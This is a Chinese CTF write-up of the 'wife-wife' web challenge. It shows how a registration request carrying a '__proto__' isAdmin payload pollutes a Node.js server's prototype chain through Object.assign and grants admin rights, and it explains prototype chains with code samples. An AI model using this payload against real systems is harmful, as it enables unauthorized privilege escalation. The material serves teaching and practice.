wife-wife【原型链污染】[难度:4]

题目界面

  • 登录界面

  • 注册界面

  • 思路:在注册界面,利用原型链污染漏洞,获得管理员权限。

步骤

  • 在注册界面输入用户名-密码-邀请码,勾选admin选项,抓包

    POST /register HTTP/1.1
    Host: 61.147.171.105:63129
    Content-Length: 69
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
    Content-Type: text/plain;charset=UTF-8
    Accept: */*
    Origin: http://61.147.171.105:63129
    Referer: http://61.147.171.105:63129/register.html
    Accept-Encoding: gzip, deflate, br
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close **{"username":"123","password":"123","isAdmin":true,"inviteCode":"123"}**
  • 将post中的数据加入"proto"字段,放包,显示用户注册成功。

    {"username":"123","password":"123",**"_proto_":{"isAdmin":true}**,"inviteCode":"123"}
  • 注册成功后跳转到登录界面,在此界面输入刚才注册的账号,拿到flag。

知识点

原型链污染

  • 概念

    • 原型链污染是一种 JavaScript 中的安全漏洞,它涉及到修改对象的原型链,从而影响到所有基于该原型链创建的对象。这种漏洞可能导致意外的行为和安全风险。
    • 在js语言中,每一个实例对象都有一个私有属性(proto)指向它的构造函数的原型对象(prototype)。而该原型对象又有一个自己的原型对象,直到根部object对象,它是几乎所有javascript对象的祖宗,所以它是没有原型的。
    • 一个对象的_proto_属性指向所在类的prototype属性
  • 实例

    js中,定义一个类需以构造函数的方式来定义。

    var ad = function(){
    this.a = 1;
    this.b = 2;
    }
    var we = new ad(); //从一个函数里创建一个对象we
    ad.prototype.b = 3;
    ad.prototype.c = 4;//在ad函数的原型对象中定义属性
    console.log(we.a);//we对象中有a属性,为一。 console.log(we.b);//we对象也有b属性,为2.
    //原型中也有b属性,但是不会被访问到。也想当于重写。
    console.log(we.c);**//we对象没有c属性,所以在原型中找,为4**
    console.log(we.d);//d不是we对象的属性,继续看,d也不是
    //we.[[Prototype]]中的属性,继续,d也不是we.[[Prototype]].[[Prototype]]
    //中的属性,到此结束,返回undefined
  • 漏洞利用

    改变原型对象的属性,使得继承该原型对象的实例对象在本身不拥有某属性的情况下拥有某属性。

    ob1 = {"a":123,"b":456};//创建一个对象ob1
    ob1.__proto__.ab = "123456";//添加原型属性ab并赋值123456
    console.log(ob1.ab);// 打印123456
    ob2 = {"a":1234,"b":5678};//创建一个对象ob2
    console.log(ob2.ab);// 打印123456

    本题中的关键代码如下所示:

    app.post('/register', (req, res) => {
    let user = JSON.parse(req.body)
    if (!user.username || !user.password) {
    return res.json({ msg: 'empty username or password', err: true })
    }
    if (users.filter(u => u.username == user.username).length) {
    return res.json({ msg: 'username already exists', err: true })
    }
    if (user.isAdmin && user.inviteCode != INVITE_CODE) {
    user.isAdmin = false
    return res.json({ msg: 'invalid invite code', err: true })
    }
    let newUser = Object.assign({}, baseUser, user) //就是这里,原型链污染
    users.push(newUser)
    res.json({ msg: 'user created successfully', err: false })
    })

    Object.assign触发了原型链污染,使得实例对象的原型对象中isAdmin属性置为true。

参考链接:https://blog.csdn.net/m0_62422842/article/details/125154265

wife-wife【原型链污染】的更多相关文章

  1. redpwnctf-web-blueprint-javascript 原型链污染学习总结

    前几天看了redpwn的一道web题,node.js的web,涉及知识点是javascript 原型链污染,以前没咋接触过js,并且这个洞貌似也比较新,因此记录一下学习过程 1.本机node.js环境 ...

  2. 原型链污染(Node.js污染,javasrcipt原型链污染的)

    学习链接: https://www.jianshu.com/p/6e623e9debe3 关于NJS  https://xz.aliyun.com/t/7184 相关题是 GYCTF  ez_expr ...

  3. javascript 原型链污染

    原理①javascript中构造函数就相当于类,并且可以将其实例化 ②javascript的每一个函数都有一个prototype属性,用来指向该构造函数的原型同样的javascript的每一个实例对象 ...

  4. 初探JavaScript原型链污染

    18年p师傅在知识星球出了一些代码审计题目,其中就有一道难度为hard的js题目(Thejs)为原型链污染攻击,而当时我因为太忙了(其实是太菜了,流下了没技术的泪水)并没有认真看过,后续在p师傅写出w ...

  5. 【web安全】Nodejs原型链污染分析

    Nodejs原型链污染分析 什么是js原型? 可以将js原型理解为其他OOP语言中的类,但还是有细微区别. 1. function F(){...} 2. var f = new F(); 分析: 1 ...

  6. js原型链污染详解

    前言 之前打某湖论剑,两道js的题,给我整懵逼了,发现以前都没对js做过多少研究,趁着被毒打了,先研究一波js原型链,未雨绸缪. 基础 protype 首先我们研究js原型链,得搞明白原型是什么,这里 ...

  7. JavaScript原型链及其污染

    JavaScript原型链及其污染 一.什么是原型链? 1.JavaScript中,我们如果要define一个类,需要以define"构造函数"的方式来define: functi ...

  8. Nodejs-原型链污染

    原型链污染 javascript 原型链 在javascript中,继承的整个过程就称为该类的原型链. 每个对象的都有一个指向他的原型(prototype)的内部链接,这个原型对象又有它自己的原型,一 ...

  9. jacascript 构造函数、原型对象和原型链

    前言:这是笔者学习之后自己的理解与整理.如果有错误或者疑问的地方,请大家指正,我会持续更新! 先梳理一下定义: 我们通常认为 object 是普通对象,function 是函数对象: Function ...

  10. 对Javascript 类、原型链、继承的理解

    一.序言   和其他面向对象的语言(如Java)不同,Javascript语言对类的实现和继承的实现没有标准的定义,而是将这些交给了程序员,让程序员更加灵活地(当然刚开始也更加头疼)去定义类,实现继承 ...

随机推荐

  1. 原来你是这样的JAVA[04]-数组Arrays

    一.打印数组 Arrays类提供了打印数组元素的方法,Arrays.toString()和Arrays.deepToString(). //打印数组 System.out.println(Arrays ...

  2. Netease研发实习生一面

    最想去的公司和部门..今天终于面了,感觉跪了..实质性的问题的确打得不好..庆幸的是拿到了B公司的offer,实习是不愁了.. 记下问题,希望对之后的同学有一定帮助. 问的问题总结: 1.进程线程协程 ...

  3. C++ 算法竞赛、02 周赛篇 | AcWing 第2场周赛

    AcWing 第2场周赛 竞赛 - AcWing 3626 三元一次方程 AcWing 3626. 三元一次方程 - AcWing 两层循环 #include <iostream> usi ...

  4. 入门篇-其之一-第一个Java程序

    ️注意: 本文中包含实际操作,需要安装JDK.如果需要安装JDK,请按照这篇文章的步骤进行安装:点我查看JDK安装教程 小白可以多看几遍这篇文章,多敲几次代码 前面我们已经安装了JDK,接下来就是写一 ...

  5. Mac m2使用实现微信小程序抓包

    Mac m2使用实现微信小程序抓包 最近换了MacBook Pro,芯片是M2 Pro,很多东西跟windows是不一样的,所以重新配置相应环境,这里介绍一下微信小程序抓包的方法. 使用burp+pr ...

  6. springBoot使用注解Aop实现日志模块

    我们在日常业务操作中需要记录很多日志,可以在我们需要的方法中对日志进行保存操作,但是对业务代码入侵性大.使用切面针对控制类进行处理灵活度不高,因此我们可以使用自定义注解来针对方法进行日志记录 1.注解 ...

  7. 每日一题:如何判断是否是数组,一个既简单又复杂的问题。(不要再用Object.prototype.toString.call、instance of判断了!!!)

    1.不要使用Object.prototype.toString.call() 正常情况下: const arr = [1,2,3,4,5] const obj = {} console.log(Obj ...

  8. destoon关于archiver归档的性能优化

    今天在处理一个项目时候发现archiver单个模块归档超过百万数据,打开速度就特慢,所以打开archiver下index.php文件进行分析,发现有句sql作怪 1 $result = $db-> ...

  9. macbook-键盘连击问题001

    最近一段时间,我的笔记本(17年款 macbook pro 13寸)经常出现键盘连击问题. 最大的表现是 e/n/i 这几个按键,按下的时候,会有概率的出现两个或三个. 这不是个案 搜索了一下,有不少 ...

  10. ORA-10456: cannot open standby database; media recovery session may be in progress

    SQL> alter database recover managed standby database disconnect from session;Database altered.SQL ...